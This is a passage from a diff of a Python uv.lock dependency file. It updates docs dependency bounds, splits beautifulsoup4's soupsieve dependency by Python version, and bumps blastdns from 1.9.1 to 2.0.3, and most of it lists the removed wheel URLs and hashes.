">=2.3.4,<4.0.0" }, ] docs = [ - { name = "griffe", specifier = ">=1,<3" }, { name = "livereload", specifier = ">=2.6.3,<3" }, { name = "mike", specifier = ">=2.1.3,<3" }, { name = "mkdocs", specifier = ">=1.5.2,<2" }, { name = "mkdocs-extra-sass-plugin", specifier = ">=0.1.0,<1" }, { name = "mkdocs-material", specifier = ">=9.2.5,<10" }, - { name = "mkdocs-material-extensions", specifier = ">=1.1.1,<2" }, { name = "mkdocstrings", specifier = ">=0.22,<1.1" }, { name = "mkdocstrings-python", specifier = ">=2.0.0,<3" }, - { name = "pymdown-extensions", specifier = ">=10.20.1,<12" }, + { name = "pymdown-extensions", specifier = ">=10.20.1,<13" }, ] [[package]] @@ -338,7 +318,8 @@ name = "beautifulsoup4" version = "4.15.0" source = { registry = "https://pypi.org/simple" } dependencies = [ - { name = "soupsieve" }, + { name = "soupsieve", version = "2.10", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version < '3.11.5'" }, + { name = "soupsieve", version = "3.0.3", source = { registry = "https://pypi.org/simple" }, marker = "python_full_version >= '3.11.5'" }, { name = "typing-extensions" }, ] sdist = { url = "https://files.pythonhosted.org/packages/43/65/318323f98dbee45d42dff61d8f047181bc6f2268a9068cfad035a46be5af/beautifulsoup4-4.15.0.tar.gz", hash = "sha256:288e3ca7d54b06f2ac191970bc275c1939cb46d450b255bf6718b04aa37ab4f7", size = 632571, upload-time = "2026-06-07T16:44:20.453Z" } @@ -348,290 +329,151 @@ wheels = [ [[package]] name = "blastdns" -version = "1.9.1" +version = "2.0.3" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "orjson" }, { name = "pydantic" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/a0/63/5ad427bd5e23780961ba4f183a85d8428d961feabcfaf237347801dd00a0/blastdns-1.9.1.tar.gz", hash = "sha256:e0ea09a9f0199a64aad8a6abe54e0f0de523a12e6f96da71e79af7fea9d12f2f", size = 114292, upload-time = "2026-04-15T20:33:18.661Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/87/89/c606bd3d9e50771e168ad64745e4b9ef28fa511533d225735178eddab5c7/blastdns-1.9.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:fc9a0c8808b90748dadc224e86a21fed75c1ccfa7df682906401790069262816", size = 2449222, upload-time = "2026-04-15T20:30:51.744Z" }, - { url = "https://files.pythonhosted.org/packages/56/97/8e10f45144e7644c6f9e7a9f96eb7e433ef34bc5e6e84ae3e50581ae24d1/blastdns-1.9.1-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:077dfd2eb020ea7d120c18263a3f646bcd8dfe1e0d6d1c1f604d5034892d3404", size = 2321373, upload-time = "2026-04-15T20:31:06.388Z" }, - { url = "https://files.pythonhosted.org/packages/47/80/31f3383453114beeade87d99058e1513dd82dafd67002d09ee9337fa886c/blastdns-1.9.1-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:eb7833f85bbb8ac246ec55ca5aa9bf622f18d61f6566b4fbc6b3c42e99eae5a7", size = 2546563, upload-time = "2026-04-15T20:31:49.596Z" }, - { url = "https://files.pythonhosted.org/packages/45/76/eefa2fbe0be7781d33baf0b4670bc9d2db6aff0d94aeec1dd8d54c389683/blastdns-1.9.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:911516924ff9652cae0905ba218cd58f03d6e4c4d8972d8c00a3540496a15dad", size = 3519094, upload-time = "2026-04-15T20:31:20.464Z" }, - { url = "https://files.pythonhosted.org/packages/62/57/bbef43cfb51ed61977ac2e9d378d5e82ccf541ae3e4f1d318acd25ec6100/blastdns-1.9.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:693ba5b6820c6ab8cfd37202babeef354a2fca45ce51afcd8ffa912f2a50e82e", size = 2506642, upload-time = "2026-04-15T20:31:35.818Z" }, - { url = "https://files.pythonhosted.org/packages/e2/25/811477849e41c66e85047133ee4af7ecbd320c5b251988fee94c97c426f8/blastdns-1.9.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:06ebb94fbcc130acfc73356b36f135f9ca655a5ced9780c3ff9bee6394c91639", size = 2439602, upload-time = "2026-04-15T20:31:59.906Z" }, - { url = "https://files.pythonhosted.org/packages/a5/9f/c592c221970f278822f2f8bcefc2422eebf6cced23268d3fda7daec24e01/blastdns-1.9.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:99966441bfed1f5b45abf6c736be5d9bc141946ffe7582a1fbfd90386b16d4af", size = 2627363, upload-time = "2026-04-15T20:32:23.893Z" }, - { url = "https://files.pythonhosted.org/packages/74/41/9a3b74481259f76ce863a6d883779766970007952ceedd469a2d903421f7/blastdns-1.9.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:dd587b057bebdf2797cafa69923425312a038a56b4f48e740db1ce9584d4169a", size = 2594515, upload-time = "2026-04-15T20:32:37.097Z" }, - { url = "https://files.pythonhosted.org/packages/a7/41/23f2ab8eda0f31bf85b1f1aaa41dc2205c224f7032ba431434d78cfc0625/blastdns-1.9.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:f45a4fb8dc5d84bc94b266230329ca4e14ae1e43a65f45e1ba52c1ab8509964b", size = 2671944, upload-time = "2026-04-15T20:32:50.331Z" }, - { url = "https://files.pythonhosted.org/packages/85/2a/4149667e1245c80cd501bad55bed7cdb42190c3d727eb742566e65f61041/blastdns-1.9.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:98b9ea17704491fd6d1e40a183222439403433ab2046f8e323ed10dcac5ab214", size = 2689118, upload-time = "2026-04-15T20:33:04.593Z" }, - { url = "https://files.pythonhosted.org/packages/8d/04/8af93946ac6a53f981356e13ddd2eda5c8b76ab355054731e8704c2f4a59/blastdns-1.9.1-cp310-cp310-win_amd64.whl", hash = "sha256:8581a729dd9f32cca8edef0fd8c0529be81fe8ca7faef497f1712b5277c0b896", size = 2657117, upload-time = "2026-04-15T20:33:20.027Z" }, - { url = "https://files.pythonhosted.org/packages/5b/d7/b4a757c662a45f82dc32fe916151caef24763f06ddf1d7ac571ff6f0ac51/blastdns-1.9.1-cp311-cp311-macosx_10_12_x86_64.whl", hash = "sha256:67f52aa4880bed47da178065c8b2935cc41f526a340e0a1dae90f2eb641f99f8", size = 2655899, upload-time = "2026-04-15T20:32:17.262Z" }, - { url = "https://files.pythonhosted.org/packages/98/16/5fbb3f57e2a2da7b1ea954c4a7576a0216b8b6f45714cedc0da92c933183/blastdns-1.9.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:9dda8352acba5c9b7e498c61f73f28120e312e441a37d26d8912ddb8c8876b11", size = 2522537, upload-time = "2026-04-15T20:32:10.658Z" }, - { url = "https://files.pythonhosted.org/packages/ab/7c/974f4a6f021fcf5a172dc9e6ab508527e5554576eb08f057f4d6345dca79/blastdns-1.9.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:b967cba75fd757b0e954cf4fb3d69c9fb39d95871316a9cf0bb0c2dc5e720077", size = 2450776, upload-time = "2026-04-15T20:30:53.403Z" }, - { url = "https://files.pythonhosted.org/packages/ad/a3/dc118d2a4be9efc933b29add465451537e10de53ee59e08bc6bf34de85f9/blastdns-1.9.1-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:7a51dce160ffee92b548553b8c01d50ffa6d1f4c16d153df6ec36cc04e4ce8cc", size = 2321089, upload-time = "2026-04-15T20:31:07.684Z" }, - { url = "https://files.pythonhosted.org/packages/79/e9/47ae75a10808c166c38cd989fc7b65b5e31755985030e30ae3535a0abaad/blastdns-1.9.1-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:f9fb56f9f8a672518968f7a4d882718c75b4b42629baa76f55c8bb4f60c6d8d1", size = 2551494, upload-time = "2026-04-15T20:31:50.955Z" }, - { url = "https://files.pythonhosted.org/packages/6d/2f/f2f8f5b40c83b868a807c1e8dbeafb930a0568c96ba53e95cd5e5b6b345b/blastdns-1.9.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:d0d23e22bdbf4fc8f4c32ff073603c56c6efb9f4911a168d9f004de664a5b13f", size = 3520728, upload-time = "2026-04-15T20:31:22.339Z" }, - { url = "https://files.pythonhosted.org/packages/69/81/af8964cd04f861077d2e99698b62d7cf01d5c5c193d8a815f3970dcdc0e6/blastdns-1.9.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:0e7603dc7e5fef925d03b5f28d75164e634ef2d6fc5b960671d0cf88380d7b70", size = 2507167, upload-time = "2026-04-15T20:31:37.313Z" }, - { url = "https://files.pythonhosted.org/packages/b4/8b/6326da63ad387377c0dd94f52426b276273f8cdf32eab17e4b3ba0ec4c0f/blastdns-1.9.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:8d2cc4189b98fd6d2ca2b41043f0a501455e8043562f9086fafb25c93ef053ad", size = 2438814, upload-time = "2026-04-15T20:32:01.274Z" }, - { url = "https://files.pythonhosted.org/packages/d5/30/d94d844101d7650982c6a686b41ba65fae84692f6a65147aea9756a4d09c/blastdns-1.9.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:6e31c987da6b52c1194ec057c932400b72f729922fa18737b68a868df5911d27", size = 2628570, upload-time = "2026-04-15T20:32:25.287Z" }, - { url = "https://files.pythonhosted.org/packages/63/a0/c2d1d9d6bcf20836b66b06c970e2674e5d531c98f5f8a5d8b80a2c31e413/blastdns-1.9.1-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:da747e424bea405fc11ad7cb71ea36a082c100e40c0fc18855e209104f4e08d6", size = 2595745, upload-time = "2026-04-15T20:32:38.459Z" }, - { url = "https://files.pythonhosted.org/packages/e9/f6/0c0e8a070cce991ba16227a3a1e8602f76a84db783cd2f3f170b2250a373/blastdns-1.9.1-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:801224d7006b61789378addae8751aeb7c7877c8ecf19b515f4a856230fc68bc", size = 2671215, upload-time = "2026-04-15T20:32:51.674Z" }, - { url = "https://files.pythonhosted.org/packages/ee/4a/b2cfbb5cbede71ba5c116bea8bd68222e9ab5bef49b4cd1312954978c99f/blastdns-1.9.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:1ce70a659667f3adc7c0eac7d4b2c6f4c9f8429367254ec5308d04f36213f935", size = 2689185, upload-time = "2026-04-15T20:33:06.529Z" }, - { url = "https://files.pythonhosted.org/packages/b3/34/ca482b1f59520b6c5b3fa50b253bd009e6e636541cf238788e34b81e5352/blastdns-1.9.1-cp311-cp311-win_amd64.whl", hash = "sha256:5ab93ca714cb913423e2780b2c3881a1303fa21948c5602795262c9bd51c702b", size = 2658811, upload-time = "2026-04-15T20:33:21.347Z" }, - { url = "https://files.pythonhosted.org/packages/a9/f7/82d6bc99f2c3c65ee7d1c87627c9451ccb3c6dd1e21d1afb7caed4761c20/blastdns-1.9.1-cp312-cp312-macosx_10_12_x86_64.whl", hash = "sha256:e46c938ce8eec89384c82b68fd62fa2f76935d4d68d1ba51f199008c1a8b056b", size = 2649921, upload-time = "2026-04-15T20:32:18.725Z" }, - { url = "https://files.pythonhosted.org/packages/96/c4/6f1b04ee737feeac6b78459708b6b6b5e4215b8a443945bbb5078a1dba0b/blastdns-1.9.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:b1eead79b192af541f4e89328aaed7e675254a56583d406dcc5cc527b1ed0662", size = 2510639, upload-time = "2026-04-15T20:32:12.531Z" }, - { url = "https://files.pythonhosted.org/packages/b0/b4/80cc72f8e94a46743bc400d2336506388fcbffe0feeaeaec03410d451db6/blastdns-1.9.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:d0d6a6d4654032b2fc1a1df1bb145afb83989c23160da5b629c64e797a6f3027", size = 2449415, upload-time = "2026-04-15T20:30:55.661Z" }, - { url = "https://files.pythonhosted.org/packages/f5/d6/459997181a1a0c8bd162c6f3b830732f49f39fd9e62d77dc1fde2b9fb953/blastdns-1.9.1-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:cb5745b8f4ea3929d090dfa18126b9094986ea2e5808a54cdb58a355e1360a82", size = 2319087, upload-time = "2026-04-15T20:31:09.425Z" }, - { url = "https://files.pythonhosted.org/packages/10/a8/d67e9a0212005a178ab1a5fa3ea7cd280fb00b981a1020b15a7cf87ea244/blastdns-1.9.1-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:7bd6bfc82e08624d1b40f1e4822b548f63829351e7f72080d69099b32fdb8361", size = 2549284, upload-time = "2026-04-15T20:31:52.737Z" }, - { url = "https://files.pythonhosted.org/packages/0a/e9/667b14a3cda6cd1bb31838c2769ec8533ce32aa5a3a905acc5db6e687851/blastdns-1.9.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:e23dc048586e8b20523ecbc4c5931d8bc5485e79200207c4c6f91ad4b5ea980f", size = 3516061, upload-time = "2026-04-15T20:31:24.299Z" }, - { url = "https://files.pythonhosted.org/packages/ee/f7/8b756e8a2dd781007763318b11fb2fb8f233dfb86f10409a69abc9b03c29/blastdns-1.9.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:6c0472de6616e7ed20b5fb3784c41b52e64a0ff1079106be0140c6f00e19f6c6", size = 2503102, upload-time = "2026-04-15T20:31:38.968Z" }, - { url = "https://files.pythonhosted.org/packages/91/c8/6f689dc1491c13ebe1275943995c3376644e26c130fd0e30dae538477996/blastdns-1.9.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:775dbd6b7d1eccb3375a9f17f43723ddf79a1d12ae1d202d3f587101aff21db1", size = 2436641, upload-time = "2026-04-15T20:32:02.719Z" }, - { url = "https://files.pythonhosted.org/packages/d1/52/5376331c9278f5334b76dd48210e1fb10a83f4920516c7060ccde56ec6da/blastdns-1.9.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:40bff362bd9be708197d5c548ad7f006688d763cada1faee44ae1e7d2acb06ef", size = 2625799, upload-time = "2026-04-15T20:32:26.823Z" }, - { url = "https://files.pythonhosted.org/packages/e4/d1/622c75809c143d51037daa8af9f3477e6e4606a12d58f5189b4da81e6511/blastdns-1.9.1-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:408c30d61126c1cc0ecacb1011ed6ef2f34840e937e2def22f3ed943ad6ba8f4", size = 2593888, upload-time = "2026-04-15T20:32:39.932Z" }, - { url = "https://files.pythonhosted.org/packages/11/a0/0a8dc041ccb68720dbe44ce36c10404d904b0572c0589987c5618c1c109d/blastdns-1.9.1-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:9af85ef741d4f230ea55f12d4876b1123562f51ce9b9f7d58b6f52d3d84395c1", size = 2670025, upload-time = "2026-04-15T20:32:53.153Z" }, - { url = "https://files.pythonhosted.org/packages/72/33/b5d69a9a719b3ec354fd938769f95697e17e4c1011b97aa5f424d2a7be77/blastdns-1.9.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:3339b69fc959292a66ea724b0d5e9563c4ca0be7dd48fc78adb8914a3c82ab57", size = 2685562, upload-time = "2026-04-15T20:33:08.351Z" }, - { url = "https://files.pythonhosted.org/packages/c6/d5/36c430234203e7f4c2719b321ee316c4ac82db2541761ecff6035445fbec/blastdns-1.9.1-cp312-cp312-win_amd64.whl", hash = "sha256:074b0ffe33ed57d6bef65d0120fa508d855f49910a1ed51ee6c3920e6ffc73bf", size = 2657744, upload-time = "2026-04-15T20:33:22.771Z" }, - { url = "https://files.pythonhosted.org/packages/09/a2/ed3363e3cbc5d10fc2301fc0651bb316f203a287a331eb65ce0f0c0726d1/blastdns-1.9.1-cp313-cp313-macosx_10_12_x86_64.whl", hash = "sha256:3fe8fecc19fdb3ee6bcfcd4242c9e2433254c8c40d1b57fa40d6190eadd73da7", size = 2649286, upload-time = "2026-04-15T20:32:20.42Z" }, - { url = "https://files.pythonhosted.org/packages/db/15/1e37003ef21f8777b51f1abc85edae818358743a74b0a836a8a409383f91/blastdns-1.9.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:b84013fc47cebeac3093f4feaeed3a4d5f45d82eebdffb73bde610e8e30f3399", size = 2510656, upload-time = "2026-04-15T20:32:14.308Z" }, - { url = "https://files.pythonhosted.org/packages/03/4e/b7f055bbe93b4201738c284482cd94d76b8f148381daa6774ddf509533f5/blastdns-1.9.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:7e2f7b28bff77a5c5627f1f85069309e3c4039d4d277756e84d2d5c229716c16", size = 2447985, upload-time = "2026-04-15T20:30:57.312Z" }, - { url = "https://files.pythonhosted.org/packages/14/d4/05a0eb6ce69da50e1a20a4374e685b54cafcf2550aa544280f77a56e7c88/blastdns-1.9.1-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:4668ccfde0215c685a81e3e121ef5d0eafccdb940bb7f9d3f7b8ffb004955b51", size = 2319178, upload-time = "2026-04-15T20:31:11.009Z" }, - { url = "https://files.pythonhosted.org/packages/9d/a7/d483bf6db4762f9ac2772cac722659334cf704316bf8e1c190af5b2fd430/blastdns-1.9.1-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:9f4b05ba48357b70f0ee9ff6dfc581aa3af55040e4b0db4e43c53e4c3d5c8e58", size = 2549530, upload-time = "2026-04-15T20:31:54.377Z" }, - { url = "https://files.pythonhosted.org/packages/77/c1/bc1eb90bb9fda8a354ffda502da723afa4aeaf7e7538ac94dea3e922dc4d/blastdns-1.9.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:6da53361836a9b6d05daf391d8ce8f765de881e394827d5314021cb4c013eec7", size = 3515285, upload-time = "2026-04-15T20:31:26.049Z" }, - { url = "https://files.pythonhosted.org/packages/2c/2e/6dd47138c57efa03ef848f40c0ee5686f69fba028b72f8683173af7e44a2/blastdns-1.9.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:a10dbdcda0ab8c9cf641163cb568d820d51282d848bdd0c8627a51f3f6038163", size = 2501978, upload-time = "2026-04-15T20:31:40.265Z" }, - { url = "https://files.pythonhosted.org/packages/8c/95/cc06697ddb03d03fb6a171b337c9c649cd5bc3493b4e8c83e185eeef1dad/blastdns-1.9.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:1f3400075b16905fd6837902511fed9c4b98b13de3cad8e3a78cf6d0e78f8124", size = 2435831, upload-time = "2026-04-15T20:32:04.657Z" }, - { url = "https://files.pythonhosted.org/packages/9c/26/6a702d559328213e0e3e7bb3a7c8788031c42b0613ae363cfd5ee33d130d/blastdns-1.9.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:a32a1e51d34b9e926a9c218c166a254d57c120a2f7b963f04fe81fd3d45f35ed", size = 2625279, upload-time = "2026-04-15T20:32:28.256Z" }, - { url = "https://files.pythonhosted.org/packages/25/e4/fc227358013e8bce5896d4405ecc882520d4480da1c30efb6c0950e526ac/blastdns-1.9.1-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:fbd5f5cd402b3075254e03b608c48e25825ea806421437e74c5fc833716a86a6", size = 2593895, upload-time = "2026-04-15T20:32:41.373Z" }, - { url = "https://files.pythonhosted.org/packages/62/8d/45e3c76947052ce2c60d58944f40178ded356b4440f83007a159ab095bef/blastdns-1.9.1-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:3c398d2c3780e50e1a12515e0ada2eb7c510e6d699ad60d6c6382352ba4a5db5", size = 2670367, upload-time = "2026-04-15T20:32:54.542Z" }, - { url = "https://files.pythonhosted.org/packages/77/ac/482fd604a13e05ab3e0efa84336fa39c5c391addf8308b16ee9109f67fd0/blastdns-1.9.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:11057e252c5545f1f89a4f5413a396366686799dd48b11e7c6dcad44d05df47e", size = 2684704, upload-time = "2026-04-15T20:33:09.845Z" }, - { url = "https://files.pythonhosted.org/packages/fc/67/2998dd8a5239a7afc223f4ec270048d47af5e10bb996d045c3e6e5580433/blastdns-1.9.1-cp313-cp313-win_amd64.whl", hash = "sha256:a0dc5dd486fec357fbcde1ff2f4dd3bcc4baa02323d46cc749c9a8f0fa810435", size = 2657425, upload-time = "2026-04-15T20:33:24.357Z" }, - { url = "https://files.pythonhosted.org/packages/47/49/2b51f2ba622a1723b75411fd2384d26a4d55576e0f642019fcba1ea5498a/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_aarch64.whl", hash = "sha256:5bf0c8445d9d4cc0ce7668ddb2358e5c90ce711eb2001d5fd742fc30bdf6b9ff", size = 2443445, upload-time = "2026-04-15T20:30:59.07Z" }, - { url = "https://files.pythonhosted.org/packages/f7/60/490cd9f4b40cc9ee0de49252f278798e0d020f002f2c3bd93669096050f5/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_armv7l.whl", hash = "sha256:0d3f1498eb37543ecbf92719aae8eda22c4cabbf14e1a1ba6c6a3e5a9157b2df", size = 2319663, upload-time = "2026-04-15T20:31:12.808Z" }, - { url = "https://files.pythonhosted.org/packages/d1/6c/b801b2706677a62cdac1c3dd46d618f3b1b18bd26b21a2df3531ab559ff4/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_ppc64le.whl", hash = "sha256:1be2eb559002355311fd9f584a3ed4dc4b9b5fa4255864f39779203ad3d71228", size = 3521129, upload-time = "2026-04-15T20:31:27.637Z" }, - { url = "https://files.pythonhosted.org/packages/71/83/81f22f8b06fe06e7cc1021d6d84a1f570300c7d3f7f1e8da94617d68aba6/blastdns-1.9.1-cp313-cp313t-manylinux_2_28_s390x.whl", hash = "sha256:8b207ea568b9dfc62e0fc5a848afa15448311ec3f2dbcc519327399f6604f087", size = 2512375, upload-time = "2026-04-15T20:31:41.616Z" }, - { url = "https://files.pythonhosted.org/packages/59/6c/ff24de4e418c1b683db47975af30ea600deb96c6e8ea2163470b57d8ad85/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_aarch64.whl", hash = "sha256:4f4f11a2fa4b9aa7d735252e4cfa515e51330d019065ed575a71ceb645a7fc13", size = 2621796, upload-time = "2026-04-15T20:32:29.51Z" }, - { url = "https://files.pythonhosted.org/packages/52/53/60620d5ecab72926afcb197476c765f10d690b574786c1be8d3b8f5465a0/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_armv7l.whl", hash = "sha256:072b0f20ed5a23ce9a69d93fc0f4f840ca03e92a02290640c32c08e51e85e09a", size = 2591749, upload-time = "2026-04-15T20:32:43.158Z" }, - { url = "https://files.pythonhosted.org/packages/6e/2a/d0fe319e0aa0a79346b0107a339724489feaedd266fd209374f4731f6abe/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_i686.whl", hash = "sha256:8985b6a5d88c57d9d3b566551b37a09349c0a30234167148c3d80423abbe9c8c", size = 2668454, upload-time = "2026-04-15T20:32:55.824Z" }, - { url = "https://files.pythonhosted.org/packages/f7/19/541a831d645ecede4f91fa6441e2eef23fbc3e0c7c51830f2f0a40bee609/blastdns-1.9.1-cp313-cp313t-musllinux_1_2_x86_64.whl", hash = "sha256:306e7ba2b9a0a3a9a38086ee8d187a33aae5979b588ad80bfb5ecd01633c298b", size = 2687970, upload-time = "2026-04-15T20:33:11.578Z" }, - { url = "https://files.pythonhosted.org/packages/85/c8/d784d1df9d930183b991822954dc31aeae2b3947147ce9d53d12eb7a3822/blastdns-1.9.1-cp314-cp314-macosx_10_12_x86_64.whl", hash = "sha256:337771fc54faafbdda2206426c362839961253a4959135767e9014ff4db879ca", size = 2650821, upload-time = "2026-04-15T20:32:21.943Z" }, - { url = "https://files.pythonhosted.org/packages/b8/98/0b3d1d6b5ff0cf1c404a9b8c7948102d724e767cf22ddedf9a3bd239a1ec/blastdns-1.9.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:6015697b4fe9dc4ff2bc397367ae726c6e6cd87bdb86e1d6b5c6856d0914beb7", size = 2517319, upload-time = "2026-04-15T20:32:15.85Z" }, - { url = "https://files.pythonhosted.org/packages/b8/8b/ecc1e80fe8aa9ac5677c62d9c6d7bb6c2c68025d99f2ff81dc6be5eb907f/blastdns-1.9.1-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:01b2f1da7fe1fb44fd1af52c337979bb7284b727f971d83aa761a4887a22adb2", size = 2446094, upload-time = "2026-04-15T20:31:00.43Z" }, - { url = "https://files.pythonhosted.org/packages/1d/9e/0ac6101f9b597c61d3997623c0a3e5e7be4071461c8a2986851f3739da32/blastdns-1.9.1-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:147d815a686771709c96803319233218310efb0247644df4f0d6958cb4f9b65c", size = 2320171, upload-time = "2026-04-15T20:31:14.233Z" }, - { url = "https://files.pythonhosted.org/packages/10/e4/d195149ab6402b157474ee93212b393a644eedea5f005a2aa0e650c3e4bb/blastdns-1.9.1-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:ad4d1bb7b9fa57a7aec368a84d6830663b8f16550769edf273cf21e992425824", size = 2551099, upload-time = "2026-04-15T20:31:55.683Z" }, - { url = "https://files.pythonhosted.org/packages/c8/b0/c711045dd0ba9f15938930f75c66e57c6ae4962c821f6b0f43364d3799ff/blastdns-1.9.1-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:f2af21539691a44409020ef2260b63ac8f4ae0ee838a8e21ba51d3d480c2015c", size = 3519937, upload-time = "2026-04-15T20:31:29.379Z" }, - { url = "https://files.pythonhosted.org/packages/4c/72/2a0d2f09018e3461b16c5d64a72b7660dad97cc2eb1e0479f11a705f1db9/blastdns-1.9.1-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:c110f4de3839e204dc0ec97da33d01cdc78c9ffde991f583b735bf9df4c90b8d", size = 2508859, upload-time = "2026-04-15T20:31:42.963Z" }, - { url = "https://files.pythonhosted.org/packages/26/f6/5c1d954dfc4d6f420dea661dc7eb228f2fd6d31954e3d492888be426f97c/blastdns-1.9.1-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:743b1501d9a625f6d0dd8ed668fd96241646bd6f70399992af43f8fef5fc42d9", size = 2439876, upload-time = "2026-04-15T20:32:06.166Z" }, - { url = "https://files.pythonhosted.org/packages/1f/71/c5a3837136449a1f5f3f14fb251fb318d48d5611755fc972fc2868473fbb/blastdns-1.9.1-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:4c4b0b8ca367405807b14d63f57805ca2af21c651afd07feae5db32fbaaa63f7", size = 2624052, upload-time = "2026-04-15T20:32:30.895Z" }, - { url = "https://files.pythonhosted.org/packages/59/e5/9ee26448806cc548d147a32811b406646c1530bdf66f9ef42bd232b95dfe/blastdns-1.9.1-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:8f4141a04a887e45f77e92fe5ae290c017275985b96455c2aa05084220b12423", size = 2594969, upload-time = "2026-04-15T20:32:44.441Z" }, - { url = "https://files.pythonhosted.org/packages/48/81/e9c759fc353a17b3256994f23b08d5c4f147bd0eab2e8522434548abd50c/blastdns-1.9.1-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:c0247ea74dcb9cb22fc319ab15518a6b2cd8e147b560e6908acaa97f4eb9912b", size = 2671068, upload-time = "2026-04-15T20:32:57.332Z" }, - { url = "https://files.pythonhosted.org/packages/10/9a/5dd9a17edbee1bfb996d289e5b1bbd2e1446644c02da8fe71925c4a6c828/blastdns-1.9.1-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:9131f9c496a6e67b46b5184fc49dc691340c1267982808460d3fdc9fbf00fc0d", size = 2689854, upload-time = "2026-04-15T20:33:12.962Z" }, - { url = "https://files.pythonhosted.org/packages/2a/82/62f420b248e485b222a7ad714d94d814e9d8ad90f4112fbbdf4d31d5f557/blastdns-1.9.1-cp314-cp314-win32.whl", hash = "sha256:f13198d57ac8606a542f273ffbeec0cf4d1b97ec5c367d217fdb7b25715888a6", size = 2206019, upload-time = "2026-04-15T20:33:27.428Z" }, - { url = "https://files.pythonhosted.org/packages/41/0b/6db2d905fce282e099b43a93f4ed7bdf586d55f9c79a6e8cf446364981d3/blastdns-1.9.1-cp314-cp314-win_amd64.whl", hash = "sha256:b1301428a30b6ad1137f47470f882da604329d6a566708045106e06c3cc5b13b", size = 2656519, upload-time = "2026-04-15T20:33:26.101Z" }, - { url = "https://files.pythonhosted.org/packages/53/ea/b5ac534f37548ae80edfb915c7a1cbd764fb92ab62cc87d360b8f951d11e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:e5d4e64d0cdfef7e31d1e4c9124cc901d801fd1925c0add743dd4b5dac5ab48d", size = 2445855, upload-time = "2026-04-15T20:31:02.055Z" }, - { url = "https://files.pythonhosted.org/packages/53/15/43ce6b8ef5ba5e5d1ffb9ad4dbf9148ea2356e556cb1d3925ffc35fcd4d9/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_armv7l.whl", hash = "sha256:9078d39a13c467185dbe205b3121ef6667b452612e64a9a83670d38a4ff8f280", size = 2320251, upload-time = "2026-04-15T20:31:16.119Z" }, - { url = "https://files.pythonhosted.org/packages/a9/e8/52dc13fd874bc0cc02b850ae87781bd53b1bdb6f6efa2b6b769a4bd16106/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:712ff165713d9624a0811d94e2a555af15339f11df7fae9535aebd0de3577730", size = 3523183, upload-time = "2026-04-15T20:31:31.017Z" }, - { url = "https://files.pythonhosted.org/packages/fc/be/f129125b775e40c17624fb97550393528fa69dbb945f56fa01ba4cde797e/blastdns-1.9.1-cp314-cp314t-manylinux_2_28_s390x.whl", hash = 